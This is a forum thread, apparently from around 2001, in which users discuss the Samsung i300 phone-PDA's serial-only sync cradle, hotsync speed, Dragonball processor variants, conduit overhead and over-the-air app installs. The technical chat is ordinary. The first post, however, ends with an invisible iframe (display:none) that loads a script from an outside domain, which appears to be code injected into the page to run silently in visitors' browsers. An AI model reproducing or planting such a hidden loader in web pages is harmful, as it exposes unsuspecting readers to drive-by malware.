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  1. #1
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    Angry Serial port vs. USB

    I just bought a I300 upon opening the box I made the discovery that the phone comes with a serial cradle. I would prefer USB cadle since I continually sync my palm with my computers. Normally, the sync would take me 10-15 minute with my Visor's USB cradle. The sync takes so long, because I have AvantGo and numerous desktop sync softwares. So I have several question.

    Does the I300 come with a USB cradle? Samsung website does indicate the availabilty of the USB cradle.

    How long does the sync take on the serial cradle? Under what conditions?

    Let me know; so I could decide whether to open it or not.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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  2. #2
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    Where does the website say that a USB cradle is available? Looked at the accessories page and only saw the standard cradle as being offered.

  3. #3
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    After a full synch, each subsequent synch, including Vindigo and AvantGo takes 3-5 minutes.

  4. #4
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    Arrow

    this phone is serial only. you can get a serial - usb adapter but you will still be under the serial speeds...

    if it took you 15 minutes with a usb sync (assuming the pda was indeed a TRUE usb and not serial to usb) to do all of your avantgo and other stuff, it would take you atleast that long and maybe longer via the serial connection (even if you use a serial - usb adapter)..

    ..but dont let that stop ya from tearing into the box!!

  5. #5
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    I have yet to see a pin-by-pin description for the i300's hotsync plug, but I'd be REALLY shocked if two of those pins weren't wired to the pins on the Dragonball corresponding to its native USB interface.

    That doesn't mean somebody could casually wire one up with a USB cable, suitable plug to fit the i300, and a soldering iron (additional offboard interface circuitry might be required, not to mention firmware support), but it would imply that Samsung (or an enterprising third party with the necessary engineering and programming expertise and resources to do it without Samsung's approval or assistance) could make one available in the future.

    Of course, it's possible that some ******* who deserves an extra-toasty spot in hell went out of his/her way to ensure that the engineers weren't able to quietly make the necessary signals available from the hotsync port precisely to guarantee that the i300 would forever be serial-only, but I doubt it.

    Actually, to tell the truth, even if the official i300 specs say that the USB signal leads aren't available, I won't believe it until somebody dissects a dead i300 and physically follows every trace from the hotsync plug to the CDMA or Dragonball circuitry itself (it's not like they're above lying about its capabilities and claiming it can't do something it can... witness the recent discovery that current i300's actually DO have the hardware to do dual-band/tri-mode for Verizon, contrary marketecture claims notwithstanding)

    I love my i300, but Samsung is definitely a different beast than Palm, Handspring, Handera, and even Sony. Far from encouraging innovative third-party hardware accessories, they seem determined to lock the i300 down as hard as they can.

  6. #6
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    The serial connection in the SPH-I300 is shared by both the Palm and the Qualcomm MSM-3000c chipset that the core of the integrated CDMA handset.

    There is NO USB support in the handset; such would require Qualcomm MSM-5xxx or better chipsets not available during the SPH-I300's design and R&D phases.

    The Dragonball (Motorola MC68EZ328 )does not have native USB connectivity, only serial, the spec sheet is available at:
    http://e-www.motorola.com/webapp/sps...1M934310090795

    If you're experiencing a 15 minute or longer sync time to the handset, you might take a look at your system's serial port configuration, or the "numerous desktop sync softwares" you're using; at 115K you should theoretically take 10 minutes or less to sync a completely full 8 Mb device....

    To Miamicanes: I would suggest you try reading available product literature / specs (to include the USB interface spec) before pontificating about things of which you obviously have no clue...why don'y you try soldering on YOUR'S and voiding the warranty if you know so much?

  7. #7
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    Hmmm. The last time I looked, the i300 ran at 33mhz and had a color display. The Dragonball EZ (whose product data sheet you offered as proof that I have no clue what I'm pontificating about) maxes out at 20 and only supports monochrome displays.

    see page 10 of http://e-www.motorola.com/brdata/PDF...MC68SZ328P.pdf

    There are two possible Dragonball chips that the i300 might plausibly use: the Dragonball VZ, and the Dragonball Super VZ.

    The VZ is rated for 33mhz and does lack on-chip USB, but it also lacks support for color displays. The SZ is rated up to 66mhz, supports 256-color passive displays, and has on-chip native support for both USB and memory sticks.

    Unless the VZ's spec sheet is wrong, a color display would require additional interface hardware that would take more real estate and eat into any cost savings that Samsung might have realized by going with the VZ instead of the SZ.

    If I were taking bets, I'd put the odds at close to 60:40 as to which chip it's using (with the i300's speed strongly indicating a VZ, but the i300's display suggesting an SZ).

    In any case, if it IS an SZ, it -does- have on-chip USB and memory stick support, regardless of whether Samsung chose to take advantage of it. And if it -is- an SZ, I'd be shocked (and outraged) if Samsung chose to permanently forclose any possibility of future USB support, regardless of whether they're supporting it today. But you might be right... if it's a VZ, it doesn't have on-chip USB and probably does truly lack that capability.

    Also, if you re-read my post, you'll notice that I wasn't advocating that someone try to hack their own. To the contrary, I was pointing out that even if the hardware resources are there, there's more involved than simply building a USB cable with the right plug on the end.

    Finally, the Qualcomm MSM-3000c's serial interface might very well share the serial interface pins on the bottom of the phone with one of the Dragonball's UARTs, but that's only to permit the phone's use as a modem without requiring the Palm hardware act as an intermediary. Serial communication with the Palm hardware itself is a function of one of the Dragonball's two UARTs. Whether both chipsets are passively connected to the same pins, or the Dragonball connects to the MSM-3000c which either intercepts or passes along the signal is irrelevant. If the i300 has a SZ, the presence of the MSM-3000c wouldn't prevent USB operation [though it would probably preclude using the phone as a modem with a USB-only cable].
    Last edited by miamicanes; 12-18-2001 at 12:31 PM.

  8. #8
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    Extremely long hotsync times

    If your hotsync times are INCREDIBLY long, the slow speed is probably the fault of one or more non-optimized conduits, not the serial interface.

    Semi-technical explanation:

    A conduit is an application running on the computer to which the PalmOS device is being hotsync'ed. Conduits have the ability to directly access and manipulate the PalmOS device's local memory database.

    There's just one little problem... there's a LOT of overhead involved with each record's access. It's always been somewhat of an issue, but it didn't become a MAJOR problem until 8-meg devices appeared, and the possibility of a conduit trying to access and manipulate thousands of individual records at a time (like, say, Yanoff, which uses one record per usenet message) became a daily reality.

    Right now, the only real way around it is to package multiple small records into a few big <64k ones, transfer them to the Palm, and have the application that uses them play Tower of Hanoi & take care of unpacking them and populating the real database with the packaged values. Native Palm apps don't have the same overhead as conduits, so they can read and populate the database quickly.

    Anyway, there's nothing an end user can do to speed up a slow conduit (besides finding an alternate one that uses the box/transfer/unpack method). It's just something to be aware of.

  9. #9
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    miamicanes:

    I was wondering... would it be possible to create a conduit palm application which would automatically hotsync a downloaded palm file (downloaded from the palm, onto the palm, and hotsynced on palm by the palm, never using a pc)?

    LD
    I hold the power in the palm of my hands.

  10. #10
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    I think you're asking whether it's possible to hotsync to another Palm?

    If you want to install an application on somebody else's Palm that's already installed on yours, you can usually beam the application UNLESS the app's protection bit is set.

    If you want to install an application directly to your Palm from the internet, I've never done it, but I think it's basically handled as a network hotsync. You're still sync'ing with a PC... just one that's located far away using the internet instead of one nearby.

    If you want to use another Palm as a hotsync host to back up your current one, I'd say it falls into the category of theoretically possible, but I doubt anyone will bother to write the app to do it because it wouldn't be terribly useful. Why? There are already USB and serial-based standalone modules whose purpose is to back up your Palm (but not for the i300 yet).

  11. #11
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    actually.... i was thinking more along the lines of a WAP site which lists a bunch of downloadable .prc files, where i would click on one, and it would automatically get installed on my palm....

    maybe this is currently possible now? i would like to know (I am sometimes no where near a computer or another palm and would just like to install an app that i currently don't have on my palm)

    tx!!

    LD
    I hold the power in the palm of my hands.

  12. #12
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    not much helop, but i know there is a site that you can do that.. i forget which thogh.. and for a fee you can even load some of your stuff on the site to retrieve later...

    forgive me fikse for mentioning another board... (he's the boss around here)

    but hacker, if you go to pdabuzz.com and do a search you will find out what im saying.. we had a thread on that a while back....

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